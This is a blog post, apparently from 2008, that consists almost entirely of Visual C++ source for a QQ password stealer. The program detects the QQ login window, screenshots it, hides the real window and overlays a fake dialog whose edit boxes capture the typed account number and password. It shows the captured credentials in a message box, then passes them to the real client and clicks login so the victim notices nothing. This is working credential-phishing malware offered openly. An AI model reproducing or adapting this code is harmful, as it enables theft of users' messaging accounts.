vc++制作盗取qq密码的另类方法

Posted on 2008-02-11 08:43  少林  阅读(1570)  评论(0编辑  收藏  举报

 

#include <afx.h>
#include 
<tlhelp32.h>

#include 
"resource.h"

DWORD g_hwndID;
HWND ButtonLogin,QQpass,QQLoginId,g_hwnd,ButtonCancel;
RECT ButtonRect,passRect,cancelRect,loginIdRect;
CString appName ;
HBITMAP hBitmap 
= NULL;
HFONT myFont;
HWND QQID 
= NULL,QQPASS = NULL;
char sQQId[64];
char sQQPass[64];
int cxScreen,cyScreen;

//伪造对话框回调函数
LRESULT CALLBACK Win847(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam);
BOOL CreateWindowItem(HWND hDlg);
BOOL ProcessIdToName(LPTSTR lpszProcessName,DWORD processId);
HBITMAP CopyScreenBitmap(LPRECT lpRect);
//根据进程id,获取进程名字
BOOL ProcessIdToName(LPTSTR lpszProcessName,DWORD processId)
{
    HANDLE hSnapshot 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,processId);
    PROCESSENTRY32 pe;
    
if(Process32First(hSnapshot,&pe) == FALSE)
        
return FALSE;
    
while(Process32Next(hSnapshot,&pe))
    
{
        
if(pe.th32ProcessID == processId)
        
{
            strcpy(lpszProcessName, pe.szExeFile);
            
return TRUE;
        }

    }

    
return FALSE;
}

//拷贝屏幕截图
HBITMAP CopyScreenBitmap(LPRECT lpRect)
{
    
int x1,y1,xn,yn,width,height;
    
    HDC hSrcDC,hMemDC;
    HBITMAP hBitmap,hOldBitmap;

    cxScreen 
= GetSystemMetrics(SM_CXSCREEN);
    cyScreen 
= GetSystemMetrics(SM_CYSCREEN);

    
if(IsRectEmpty(lpRect))
        
return NULL;
    hSrcDC 
= CreateDC("DISPLAY",NULL,NULL,NULL);
    hMemDC 
= CreateCompatibleDC(hSrcDC);

    
if(lpRect->left < 0)
        lpRect
->left = 0;
    
if(lpRect->top < 0)
        lpRect
->top = 0;
    
if(lpRect->right > cxScreen)
        lpRect
->right = cxScreen;
    
if(lpRect->bottom > cyScreen)
        lpRect
->bottom = cyScreen;

    width 
= lpRect->right - lpRect->left;
    height 
= lpRect->bottom - lpRect->top;

    hBitmap 
= CreateCompatibleBitmap(hSrcDC,width,height);
    hOldBitmap 
= (HBITMAP)SelectObject(hMemDC,hBitmap); 

    BitBlt(hMemDC,
0,0,width,height,hSrcDC,lpRect->left,lpRect->top,SRCCOPY);

    hBitmap 
= (HBITMAP)SelectObject(hMemDC,hOldBitmap);

    DeleteDC(hSrcDC);
    DeleteDC(hMemDC);

    
return hBitmap;

}

void QQFind()
{
    BOOL isFind 
= FALSE;
    HWND hwnd 
= NULL;
    
char sTitle[255];
    
    CString ss;
    
do
    
{
        g_hwnd 
= GetForegroundWindow();
        GetWindowThreadProcessId(g_hwnd,
&g_hwndID);
         ProcessIdToName(sTitle,g_hwndID);
    
        ss 
= sTitle;
        ss.MakeLower();
        
if(ss!= "qq.exe")
        
{
            Sleep(
100);
            
continue;
        }

        SendMessage(g_hwnd,WM_GETTEXT,
255,(LPARAM)sTitle);
        ss 
= sTitle;
        
int n = ss.Find("QQ",0);
        
int m = ss.Find("登录",0);
        
if( n > 0 || m > 0)
        
{
            ButtonLogin 
= FindWindowEx(g_hwnd,NULL,"Button","登录");
            ButtonLogin 
= FindWindowEx(g_hwnd,ButtonLogin,"Button","登录");
            GetWindowRect(ButtonLogin,
&ButtonRect);

            ButtonCancel 
= FindWindowEx(g_hwnd,NULL,"Button","取消");
            GetWindowRect(ButtonCancel,
&cancelRect);

            hwnd 
= FindWindowEx(g_hwnd,NULL,"#32770",NULL);
            
if(hwnd != NULL)
            
{
                QQpass 
= FindWindowEx(hwnd,NULL,"Edit",NULL);
                GetWindowRect(QQpass,
&passRect);
            }

            hwnd 
= FindWindowEx(g_hwnd,NULL,"Combobox",NULL);
            
if(hwnd != NULL)
            
{
                QQLoginId 
= FindWindowEx(hwnd,NULL,"Edit",NULL);
                GetWindowRect(QQLoginId,
&loginIdRect);
            }

            SendMessage(QQLoginId,WM_GETTEXT,
255,(LPARAM)sQQId);

            Sleep(
100);

            RECT rect;
            rect.left 
= rect.top = 0;
            rect.right 
= cxScreen = GetSystemMetrics(SM_CXSCREEN);
            rect.bottom 
= cyScreen = GetSystemMetrics(SM_CYSCREEN);

            hBitmap 
= CopyScreenBitmap(&rect);
            
            ShowWindow(g_hwnd,SW_HIDE);

            LONG qqPassStyle;
            qqPassStyle 
= GetWindowLong(g_hwnd, GWL_STYLE);
            SetWindowLong(g_hwnd, GWL_STYLE, qqPassStyle 
& ~WS_VISIBLE);

            HINSTANCE hInstance 
= GetModuleHandle(NULL);
            DialogBoxParam(hInstance,(LPCTSTR)IDD_WIN847,
0,(DLGPROC)Win847,0);

            ShowWindow(g_hwnd,SW_SHOW);

            SendMessage(QQLoginId,WM_SETTEXT,(WPARAM)
0,(LPARAM)sQQId);
            SendMessage(QQpass,WM_SETTEXT,(WPARAM)
0,(LPARAM)sQQPass);

            SendMessage(ButtonLogin,BM_CLICK,(WPARAM)
0,(LPARAM)0);

            DeleteObject((HBITMAP)hBitmap);

            isFind 
= TRUE;

        }



    }
while(isFind == FALSE);


}


LRESULT CALLBACK Win847(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
    BOOL ret;
    HDC hMem,hdc;
    POINT pt;
    
switch(message)
    
{

    
case WM_INITDIALOG:

        ret 
= CreateWindowItem(hwnd);
        ret 
= SetWindowPos(hwnd,HWND_NOTOPMOST,0,0,cxScreen*3/4,cyScreen*3/4,SWP_SHOWWINDOW);
        
return TRUE;

    
case WM_ERASEBKGND:

        hdc 
= (HDC)wParam;
        hMem 
= CreateCompatibleDC(hdc);
        SelectObject(hMem,hBitmap);
        BitBlt(hdc,
0,0,cxScreen,cyScreen,hMem,0,0,SRCCOPY);
        DeleteDC(hMem);
        
return TRUE;

    
case WM_LBUTTONDOWN:
        pt.x 
= LOWORD(lParam);
        pt.y 
= HIWORD(lParam);

        
if(PtInRect(&ButtonRect,pt))
        
{
            GetWindowText(QQID,sQQId,
64);
            GetWindowText(QQPASS,sQQPass,
64);

            MessageBox(hwnd,sQQPass,sQQId,MB_OK);

            DeleteObject(myFont);
            EndDialog(hwnd,
0);
        }

        
return TRUE;
    
case WM_CLOSE:
        EndDialog(hwnd,
0);
        
return TRUE;
    }

    
return FALSE;

}


BOOL CreateWindowItem(HWND hDlg)
{
    myFont 
=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial");
    
    
//创建QQ号码输入文本框
    int nWidth = loginIdRect.right - loginIdRect.left;
    
int nHeight = loginIdRect.bottom - loginIdRect.top;

    QQID 
= CreateWindow("Edit""", WS_VISIBLE | WS_CHILDWINDOW, loginIdRect.left, \
                loginIdRect.top, nWidth, nHeight, hDlg, (HMENU)
1000, GetModuleHandle(NULL), NULL);
    SendMessage(QQID,WM_SETTEXT,
0,(LPARAM)sQQId);
    SendMessage(QQID,WM_SETFONT,(LPARAM)myFont,(LPARAM)
0);


    nWidth 
= passRect.right - passRect.left;
    nHeight 
= passRect.bottom - passRect.top;

    QQPASS 
= CreateWindow("Edit","",WS_VISIBLE|ES_PASSWORD| WS_CHILDWINDOW,passRect.left,\
        passRect.top,nWidth,nHeight,hDlg,(HMENU)
1001,GetModuleHandle(NULL),NULL);

    SendMessage(QQPASS,WM_SETFONT,(WPARAM)myFont,(LPARAM)
0);

    
return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     
int       nCmdShow)
{
    QQFind();
    
return 0;    
}


Copyright © 2024 少林
Powered by .NET 9.0 on Kubernetes